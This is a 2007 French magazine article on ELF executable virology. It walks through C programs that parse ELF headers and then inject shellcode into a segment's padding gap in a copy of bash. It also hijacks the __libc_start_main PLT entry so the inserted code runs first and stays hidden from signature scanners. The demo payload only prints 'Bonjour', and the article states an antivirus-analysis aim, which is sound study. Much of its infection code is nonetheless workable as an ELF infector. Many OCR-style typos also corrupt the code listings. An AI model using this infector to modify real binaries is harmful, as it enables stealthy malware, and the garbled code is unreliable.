Matthieu Kaczmarek
GNU Linux Magasine France, HS 32 (2007) pp.12-19
ISSN 0183-0864
Download PDF (256.94Kb) (You need to be registered on forum)Cet article explore le format ELF du point de vue de la virologie informatique. Nous décrivons une technique classique permettant d'infecter un fichier ELF exécutable. La principale contribution de cet article sera de montrer comment exploiter les objets partagés en détournant le mécanisme de liaison dynamique. Cette étude se veut pratique et elle est illustrée par des programmes C.
La virologie informatique est une discipline vieille d'une vingtaine d'années. Jusquà maintenant les architectures de type Unix ont été épargnées par les logiciels malicieux. Mais le développement des attaques spécialisées d'une part, et l'augmentation du nombre d'utdisateurs d'autre part, amènent à penser que les systèmes Unix pourraient aussi être les cibles de futures attaques. Plusieurs articles [1, 5, 6] ont déjà présenté des techniques virales dédiées au format ELF (Executable and Linking Format) Ici, nous en reprendrons les grandes lignes et nous montrerons qu'il est possible d'exploiter le mécanisme de liaison dynamique pour rendre le code inséré plus fiirtif et plus fonctionnel.
La connaissance des formats de fichiers exécutables est essentielle pour tout acteur de la virologie informatique. Cet exposé n'est pas destiné à encourager la construction de programmes malveillants. Au contraire, une telle étude permet de faciliter l'analyse de fichiers infectés et donc d'accélérer leur identification. La rapidité d'analyse étant cruciale pour toute réponse antivirale, ce type d'étude est indispensable.
Cet article comporte aussi une dimension scientifique liée à l'étude théorique [4]. Cette dernière met en évidence une correspondance entre les techniques virales et les mécanismes de compilation Dans cet article nous montrons que l'insertion de code s'apparente aux mécanismes de liaison d'objet. Ce concept appuie l'étude précédente par une dimension expérimentale, et il contribue à la compréhension des problématiques de la virologie informatique. Pour une introduction à cette discipline, nous conseillons la lecture des livres [2,3].
La description du format de fichier ELF se déroulera en deux temps. Premièrement, nous étudierons sa structure et nous montrerons comment elle peut être compromise afin d'y insérer un code étranger. Ensuite nous étudierons le mécanisme de liaison dynamique et nous exposerons comment il peut être détourné au profit d'une insertion.
Nous utiliserons des programmes C pour illustrer notre propos. Le lecteur désireux d'obtenir les informations exposées sans programmer pourra utiliser la commande readelf accessible depuis la plupart des environnements Unix. Il existe aussi une bibliothèque C, libelf [8], facilitant certains accès à la structure ELF. Les types et les constantes auxquels nous ferons référence se trouvent dans le fichier elf.h de la libc. Nous réaliserons nos expériences sur une copie du programme bash.
$ cp /bin/bash ~/
Nous présentons les grandes lignes de la structure d'un fichier ELF. Pour un exposé détaillé le lecteur pourra se référer a [7].
Le format ELF a été créé dans les laboratoires de Unix Systems, il est maintenant considéré comme un standard des environnements de type Unix. Sas structure permet non seulement de décrire le chargement d'un objet en mémoire mais aussi de faciliter le processus de liaison entre différents objets. Ainsi ce format peut être appliqué à trois types de fichier.
Un fichier ELF se décompose principalement en quatre parties: un en-tête, une table des segments, une table des sections et un corps comportant du code et des données.
Le corps d'un fichier ELF peut être divisé de deux manières différentes: en segments et en sections. Ces divisions peuvent se chevaucher mais chaque seclion ne peut résider que sur un seul segment. En d'autres termes, un segment peut contenir une ou plusieurs sections mais la réciproque est fausse. Toutefois, la division en segments est optionnelle pour un fichier d'objet readressable, la table des segments est alors absente. De même, la division en sections est optionnelle pour un fichier exécutable ou pour certains objets partagés.
L'en-tête se situe au debut du fichier, il permet de localiser les autres parties du format comme les tables de segments et de sections. Sa structure est décrite par le typw ELF32_Ehdr. Nous présentons quelques champs qui nous seront utiles par la suite.
Le programme suivant montre comment extraire les informations de l'en-tête.
#include <stdio.h> #include <elf.h> int main(int argc, char** argv) { Elf32_Ehdr hdr; FILE* fp = fopen(argv[1], "r"); fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp); printf("Signature Entrée Tab seg Tab sec\n"); printf("%9.3s ", hdr.e_ident + 1); printf("%8x ", hdr.e_entry); printf("%8x ", hdr.e_phoff); printf("%8x \n", hdr.e_shhoff); fclose(fp); return 0; }
Ce programme produit la sortie suivante.
$ ./header bash Signature Entrée Tab seg Tab sec ELF 805c210 34 a7b48
Les segments représentent l'image mémoire produite par le chargement du fichier. Ils sont indexés par la table des segments, aussi appelé en-tête de programme. Les éléments de cette table sont décrits par le type ELF32_Phdr. On y retrouve les champs suivants.
Pour cet article nous nous intéresserons seulement au type PT_LOAD, qui correspond aux segments qui sont chargés en mémoire.
La valeur du champ p_flag dépend de l'architecture d'exécution. Par exemple pour un processeur de type ia86, le premier bit correspond au droit d'exécution, le second au droit d'écriture et le troisième au droit de lecture.
Le programme suivant présente comment parcouirir la table des segments.
#include <stdio.h> #include <elf.h> int main (int argc, char** argv) { Elf32_Ehdr hdr; FILE *fp = fopen(argv[1], "r"); fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp); if (hdr.e_phoff == 0) { fprintf(stderr, "Absence de table des segmentss\n"); return 0; } /* Se positionner sur la table des segments */ fseek(fp, hdr.e_phoff, SEEK_SET); printf(" # LOAD Position Taille Adresse Espace xwr\n"); /* Parcourir les hdr.e_phnum segments */ Elf32_Phdr seg; Elf32_half i; for (i = 0; i < hdr.e_phnum; ++i) { /* Récupérer le segment */ fread (&segm sizeof(char), sizeof(Elf32_Phdr), fp); printf("%2i ", i); printf("%4s ", (seg.p_type == PT_LOAD ? "Oui" : "Non"); printf("%8x ", seg.p_offset); printf("%8x ", seg.p_filesz); printf("%8x ", seg.p_vaddr); printf("%8x ", seg.p_memsz); printf("%c%c%c \n", seg.p_flags % 2 ? 'x' : ' ', /* Exécution */ (seg.p_flags >> 1) % 2 ? 'w' : ' ', /* Ecriture */ (seg.p_flags >> 2) % 2 ? 'r' : ' '); /* Lecture */ } fclose(fp); return 0; }
Ce programme produit la sortie suivante.
# LOAD Position Taille Adresse Espace xwr 0 Non 34 100 8048034 100 x r 1 Non 134 13 8048134 13 r 2 Oui 0 a23c0 8048000 a23c0 x r 3 Oui a23c0 4b84 80eb3c0 9898 wr 4 Non a23d4 d8 80eb3d4 d8 wr 5 Non 148 20 8048148 20 r 6 Non a22f8 2c 80ea2f8 2c r 7 Non 0 0 0 0 wr
Le lecteur attentif remarquera qu'il y a un espace mémoire inoccupé entre la fin du segment 2 et le du segment 3.
Comme les segments, les sections sont indexées par une table d'en-têtes dont les éléments sont décrits par le type Elf32_Shdr. Voici quelques uns des champs qui le composent.
Le découpage en sections est particulièrement important pour les processus de liaison, cet aspect sera traité plus bas.
L'accès aux en-têtes de section s'effectue de manière analogue à l'accès aux en-têtes de segments.
#include <stdio.h> #include <elf.h> int main(int argc, char** argv) { Elf32_Ehdr hdr; FILE* fp = fopen(argv[1], "r"); fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp); if (hdr.e_shoff == 0) { fprintf(stderr, "Absence de sections\n"); return 0; } /* Positionner sur la table des sections */ fseek(fp, hdr.e_shoff, SEEK_SET); printf(" # Position Taille wax\n"); Elf32_Shdr sec; Elf32_Half i; for (i = 0; i < hdr.e_shnum; ++i) { /* Lire l'élément i */ fread(&sec, sizeof(char), sizeof(Elf32_Shdr), fp); printf("%2i ", i); printf("%8x ", sec.sh_offset); printf("%8x ", sec.sh_size); printf("%c%c%c\n", sec.sh_flags % 2 ? 'w' : ' ', /* Inscriptoble */ (sec.sh_flags >> 1) % 2 ? 'a' : ' ', /* Alloué */ (sec.sh_flags >> 2) % 2 ? 'x' : ' '); /* Exécutable */ } fclose(fp); return 0; }
Ce programme produit la sortie suivante
$ ./section bash # Position Taille wax 0 0 0 1 134 13 a ... 12 14210 79424 ax 13 8d634 1c ax 14 8d660 14c98 a 15 a22f8 2c a 16 a2324 9c a ...
Nous décrivons maintenant le mécanisme de chargement en mémoire. Cette partie est spécifique aux architectures de type ia86 Unix V Release 4.
Pour des raisons d'efficacité les segments sont chargés en mémoire sans respecter le champ p_align, mais de façon à ce que la position du segment dans le fichier et son adresse en mémoire soient congruentes modulo la taille d'une page mémoire. En d'autre termes, on a la propriété p_offset = p_vaddr [p_align]. Sur le type de système considéré p_align vaut généralement 4ko (0x1000 octets).
On notera que les droits alloués aux pages correspondent à la valeur de champ p_flags. Pour réaliser cette affectation, chaque segment est chargé sur une nouvelle page mémoire et non à la première adresse libre.
Les deux mécanismes précédents engendrent des blancs ea mémoire avant et après les segments. Pour comprendre cela, prenons un exemple. On considère deux segments, le premier de 0x1200 octets et le second de 0x1000 octets. Le premier segment sera chargé entre l'adresse 0x0 et l'adresse 0x1200. La page mémoire suivante commence à l'adresse 0x2000. Selon les mécanismes précédents, le second segment sera chargé à partir de l'adresse 0x2200. Il y a donc un blanc de 0x800 octets après le premier segment et un blanc de 0x200 octets avant le second segment.
Les espaces inutiles sont remplis avec les données précédant et suivant le segment chargé. Le Schéma 1 illustre ce phénomène.
Schema 1: Chargement en mémoire
Cette partie expose une technique permettant d'insérer un fragment de code à l'intérieur dun fichier ELF exécutable.
L'insertion de code a pour but d'introduire un fragment de code étranger dans un fichier hôte de manière à forcer l'interprétation du fragment inséré lors de l'exécution de l'hôte. L'insertion est soumise à plusieurs contraintes.
Pour satisfaire les deux premières contraintes, il sutfit de faire porter l'insertion sur un segment de type PT_LOAD et ayant un droit d'exécution. La troisième contrainte est plus problématique. Certaines instructions d'un programme peuvent faire référence à des données de manière absolue, c'est-à-dire en spécifiant leur adresse mémoire. Ainsi, l'insertion devra préserver les adresses des différentes données. Pour ce faire nous pouvons utiliser les blancs engendrés par le mécanisme de chargement. En effet, la modification de cette partie inutilisée de la mémoire n'affectera pas le reste du programme. Nous procéderons de la manière suivante où fp sera le fichier subissant l'insertion.
/* Rechercher un segment pour l'insertion */ Elf32_Phdr find_seg(FILE* fp, Elf32_Ehdr hdr) { fseek(fp, hdr.e_phoff, SEEK_SET); Elf32_Phdr ins_seg, seg; Elf32_Half i; for (i = 0; i < hdr.e_phnum; ++i) { fread(&ins_seg, sizeof(char), sizeof(Elf32_Phdr), fp); if (ins_seg.p_type != PT_LOAD || ins_seg.p_flags % 2 == 0) continue; fread(&seg, sizeof(char), sizeof(Elf32_Phdr), fp); if (seg.p_vaddr - (ins_seg.p_vaddr + ins_seg.p_filesz) < ins_seg.p_align) continue; return ins_seg; } /* Aucun segment trouvé */ fprintf(stderr, "Aucun segment n'est valide\n"); exit(1); }
/* Mise à jour de l'en-tête */ int update_header (FILE* fp, Elf32_Ehdr hdr, Elf32_Addr new_entry, Elf32_Off shc_off, Elf32_Off align) { hdr.e_entry = new_entry; if (hdr.e_phoff >= shc_off) hdr.e_phoff += align; if (hdr.e_shoff >= shc_off) hdr.e_shoff += align; fseek(fp, 0, SEEK_SET); fwrite(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp); return 0; }
/* Mettre à jour de la table des segments */ int update_seg(FILE* fp, Elf32_Ehdr hdr, Elf32_Off shc_off, Elf32_Off align) { fseek(fp, hdr.e_phoff, SEEK_SET); Elf32_Phdr seg; Elf32_Half i; for (i = 0; i < hdr.e_phnum; ++i) { fread(&seg, sizeof(char), sizeof(Elf32_Phdr), fp); if (seg.p_offset >= shc_off) seg.p_offset += align; else if (seg.p_offset + seg.p_filesz == shc_off) { seg.p_memsz += align; seg.p_filesz += align; } else continue; fseek(fp, -sizeof(Elf32_Phdr), SEEK_CUR); fwrite(&seg, sizeof(char), sizeof(Elf32_Phdr), fp); } return 0; } /* Mettre à jour de la table des segments */ int update_sec(FILE* fp, Elf32_Ehdr hdr, Elf32_Off shc_off, Elf32_off align) { fseek(fp, hdr.e_shoff, SEEK_SET); Elf32_Shdr sec; Elf32_Half i; for (i = 0; i < hdr.e_shnum; ++i) { fread(&sec, sizeof(char), sizeof(Elf32_Shdr), fp); if (sec.sh_offset >= shc_off) sec.sh_offset += align; else if (sec.sh_offset + sec.sh_size == shc_off) sec.sh_size += align; else continue; fseek(fp, -sizeof(Elf32_Shdr), SEEK_CUR); fwrite(&sec, sizeof(char), sizeof(Elf32_Shdr), fp); } return 0; }
/* Insertion du Shellcode */ int insert_shellcode(FILE* fp, Elf32_Ehdr hdr, Elf32_Off shc_off, Elf32_Off page_size, char *code, int code_size) { /* Mettre à jour le shellcode */ *((Elf32_Addr*)(code + SHC_RETADD)) = hdr.e_entry; /* Insérer */ fseek(fp, shc_off, SEEK_SET); char* save = (char*)malloc(page_size * sizeof(char)); char* towrite = (char*)malloc(page_size * sizeof(char)); memcpy(towrite, code, code_size); int read = fread(save, sizeof(char), page_size, fp); while (!feof(fp)) { fseek(fp, -page_size, SEEK_CUR); fwrite(towrite, sizeof(char), page_size, fp); char* tmp = save; save = towrite; towrite = tmp; read = fread(save, sizeof(char), page_size, fp); } fseek(fp, -read, SEEK_END); fwrite(towrite, sizeof(char), page_size, fp); fwrite(save, sizeof(char), page_size, fp); free(save); free(towrite); return 0; }
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <elf.h> int main(int argc, char** argv) { FILE* fp = fopen(argv[1], "rb+"); Elf32_Ehdr hdr; fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp); Elf32_Phdr ins_seg = find_seg(fp, hdr); Elf32_Off shc_off = ins.seg.p_offset + ins_seg.p_filesz; update_header(fp, hdr, hdr.e_entry, shc_off, ins_seg.p_align); update_seg(fp, hdr, shc_off, ins_seg.p_align); update_sec(fp, hdr, shc_off, ins_seg.p_align); insert_shellcode(fp, shc_off, ins_seg.p_align, code, SHC_SIZE); fclose(fp); return 0; }
Après avoir infecté la copie de bash nous relançons les programmes de la première partie. Nous avons mis en évidence les principaux changements. En particuler on remarque que le code a été inséré dans la section 16 qui n'est pourtant pas exécutable. Cela illustre le fait que le champ sh_flags est seulement indicatif.
$ ./bash Bonjour $ ./header bash Signature Entrée Tab seg Tab sec ELF 80a8254 34 a8b48 $ ./segment bash # LOAD Position Taille Adresse Espace xwr 0 Non 34 100 8048034 100 x r 1 Non 134 13 8048134 13 r 2 Oui 0 a33c0 8048000 a33c0 x r ... $ ./section bash # Position Taille wax 0 0 0 1 134 13 a ... 15 a22f8 2c a 16 a2324 109c a ...
Nous avons présente un cas d'école en matière d'insertion de code qui possède plusieurs faiblesses.
Nous proposons une introduction au mécanisme de liaison dynamique, encore une fois pour un descriptif plus approfondi le lecteur se référera à [7]. Nous exposons ensuite comment exploiter les appels dynamiques d'un hôte, afin de dissimuler le code inséré et de réduire sa taille.
Plusieurs secttons interviennent dans le processus de liaison, parmi celles-ci on retrouve les suivantes.
Pour réaliser les liaisons, chaque fichier comporte des symboles, pour chaque symbole deux cas de figure se présentent.
La table de correspondance est générée par l'éditeur de liens entre le chargement du programme en mémoire et le début de son exécution.
Nous décrivons comment accéder aux differentes informations de liaison dynamique.
Nous avons fait référence aux sections par leur nom. Ces noms sont accessibles par l'intermédiaire de la sectton .shstrtab contient une liste de noms. Le champ sh_name des en-têtes de section contient un index donnant la position du nom dans la section .shstrtab. Ainsi, nous pouvons accéder aux sections par leur nom grâce aux procédures suivantes.
/* rechercher l'index d'une chaîne */ Elf32_Word getstrdx(FILE* fp, Elf32_Shdr sec, char *str, size_t length) { fseek(fp, sec.sh_offset, SEEK_SET); size_t cpt = 0; char c; Elf32_Word i; for (i = 0; i < sec.sh_size; ++i) { c = getc(fp); if (str[cpt == c) ++cpt; else if (cpt != 0) { fseek(fp, -cpt, SEEK_CUR); i -= cpt; cpt = 0; } if (cpt == length) return i + 1 - length; } fprintf(stderr, "La châne %s est introuvable\n", str); exit(1); } /* En-tête de section depuis le nom */ Elf32_Shdr get_shdr(FILE* fp, Elf32_Ehdr hdr, char* name) { fseek(fp, hdr.e_shoff + hdr.e_shstrndx * sizeof(Elf32_Shdr), SEEK_SET); Elf32_Shdr sec; fread(&sec, sizeof(char), sizeof(Elf32_Shdr), fp); Elf32_Word strdx = get_strdx(fp, sec, name, strlen(name) + 1); fseek(fp, hdr.e_shoff, SEEK_SET); Elf32_Half i; for (i = 0; i < hdr.e_shnum; ++i) { fread(&sec, sizeof(char), sizeof(Elf32_Shdr), fp); if (sec.sh_name == strdx) return sec; } fprintf(stderr, "Section %s introuvable\n", name); exit(1); }
Les symboles sont associés à leur nom par la même méthode: la section .dynstr contenant la liste des noms de symboles et la section .dynsym contenant la liste des symboles. Les éléments de la table .dynsym sont décrits par le type Elf32_Sym dont le champ st_value contient l'adresse mémoire à laquelle l'éditeur de lien inscrira l'adresse mémoire associée au symbole. Une autre valeur importante est l'index du symbole dans la table.
#define STR_DYNSTR ".dynstr" #define STR_SYMTAB ".dynsym" /* Symbole depuis son nom */ Elf32_Sym get_dyn(FILE* fp, Elf32_Ehdr hdr, char* symbol) { /* Récupérer l'index du nom du symbol */ Elf32_Shdr sec = get_shdr(fp, hdr, STR_DYNSTR); Elf32_Word strdx = getstrdx(fp, sec, symbol, strlen(symbol) + 1); sec = get_shdr(fp, hdr, STR_SYMTAB); fseek(fp, sec.sh_offset, SEEK_SET); /* Récupérer le symbol */ Elf32_Sym sym; Elf32_Word symdx = 0; Elf32_Word i; for (i = 0; i < sec.sh_size; i += sizeof(Elf32_Sym), ++symdx) { fread(&sym, sizeof(char), sizeof(Elf32_Sym), fp); if (sym.st_name == strdx) { /* Repacement de l'index dans la table */ /* par l'index du symbol par commodité HACK */ sym.st_name = symndx; return sym; } } fprintf(stderr, "Le symbol %s n'est pas référencé\n", symbol); exit(1); }
Les emballages de la section .plt sont associés aux symboles de procédures par l'intermédiaire de la table de relation des redirections .rel.plt. Les éléments de cette table sont décrit par le type Elf32_Rel. Cette structure possède deux champs.
Les emballages de la table .plt sont des codes assembleurs ayant la structure suivante.
jmp *name1_in_got pushl $offset@PC ...
Ainsi, nous pouvons accéder à l'emballage d'un symbole grâce à la procédure suivante.
#define STR_RELPLT ".rel.plt" #define STR_PLT ".plt" #define JMPM32_OFF 2 #define JMPM32_SIZE 6 char JMPM32_OPC[JMPM32_SIZE] = "\xff\x25@@@@"; /* rechercher un emballage */ Elf32_Off get_wrapper(FILE* fp, Elf32_Ehdr hdr, char* symbol) { Elf32_Sym = get_sym(fp, hdr, symbol); Elf32_Shdr rel = get_shdr(fp, hdr, STR_RELPLT); fseek(fp, rel.sh_offset, SEEK_SET); Elf32_Rel rel; Elf32_Word i; for (i = 0; i < rel.sh_size; ++i) { fread(&rel, sizeof(char), sizeof(Elf32_rel), fp); if (ELF32_R_SYM(rel.r_info) == sym.st_name) { memcpy(JMPM32_OPC + JMP32_OFF, &rel.r_offset, sizeof(Elf32_Addr)); Elf32_Shdr plt = get_shdr(fp, hdr, STR_PLT); return plt.sh_offset + get_strdx(fp, plt, JMPM32_OPC, JMPM32_SIZE); } } fprintf(stderr, "Le symbol de fonction %s (%x) n'est pas emballé\n", symbol, sym.st_name); exit(1); }
Nous reprenons le principe de la première insertion mais en liant le code inséré avec le programme hôte. Le code réalisera la même fonction, cest-à-dire imprimer "Bonjour" sur la sortie standard. Mais au lieu de d'exécuter une interruption, il fera appel à la procédure standard fputs et à la variable globale stdout. Ceci constitue un excellent exercice pour comprendre le mécanisme de liaison dynamique.
D'autre part, nous assombrissons le point d'entrée en redirigeant le symbole main sur le code inséré qui rendra le contrôle à main une fois son exécution terminée.
/* Insérer EPO */ #define STR_TEXT ".text" #define STR_MAIN "__libc_start_main" Elf32_Addr setup_epo(FILE* fp, Elf32_Ehdr hdr, Elf32_Off shc_wrapper) { /*rechercher EPO_SIZE nop */ Elf32_Off off = get_wrapper(fp, hdr, STR_MAIN); fseek(fp, off, SEEK_SET); if (getc(fp) != '\xff' && getc(fp) != '\x25') { fprintf(stderr, "La forme de l'emballage est inconnue\n"); exit(1); } Elf32_Addr main_wrapper; fread(&main_wrapper, sizeof(char), sizeof(Elf32_Addr), fp); fseek(fp, -sizeof(Elf32_Addr), SEEK_CUR); fwrite(&shc_wrapper, sizeof(char), sizeof(Elf32_Addr), fp); return main_wrapper; }
Nous obtenons alors le programme suivant.
int main(int argc, char** argv) { FILE* fp = fopen(argv[1], "rb+"); Elf32_Ehdr hdr; fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp); Elf32_Phdr ins_seg = find_seg(fp, hdr); Elf32_Addr shc_addr = ins_seg.p_vaddr + ins_seg.p_filesz; Elf32_Off shc_off = ins_seg.p_offset + ins_seg.p_filesz; Elf32_Off main_wrapper = setup_epo(fp, hdr, shc_addr); char* code = setup_shellcode(fp, hdr, shc_addr, shc_off, main_wrapper); update_header(fp, hdr, hdr.e_entry, shc_off, ins_seg.p_align); update_seg(fp, hdr, shc_off, ins_seg.p_align); update_sec(fp, hdr, shc_off, ins_seg.p_align); insert_shellcode(fp, shc_off, ins_seg.p_align, code, SHC_SIZE + strlen(SHC_MSG)); free(code); fclose(fp); return 0; }
La partie précédente montre qu'il est possible d'insérer un code dans un programme hôte tout en profitant des liaisons dynamiques. Cette méthode permet une plus grande discrétion et rend plus difficile la constitution d'une signature. Il est important de noter que la technique d'insertion de code exposée ici pourrait être réalisée par un usage détourné de tout éditeur de liens, comme ld par exemple. Cet aspect rend d 'utant plus claire la correspondance entre les techniques virales et les techniques de compilation.
Au vu de cet exposé, on comprend qu'il serait vain de vouloir consolider le format ELF vis-à-vis des infections viraies. En effet, ce format a été pensé pour faciliter la liaison des objets qu'il peut représenter, or l'insertion de code est un pendant du mécanisme de liaison. En d'autre termes, il serait difficile, si ce n'est impossible, d'interdire l'insertion de code tout en préservant les facilites de liaison. On conclu que tout système de protection contre les infections devra se situera à un autre niveau.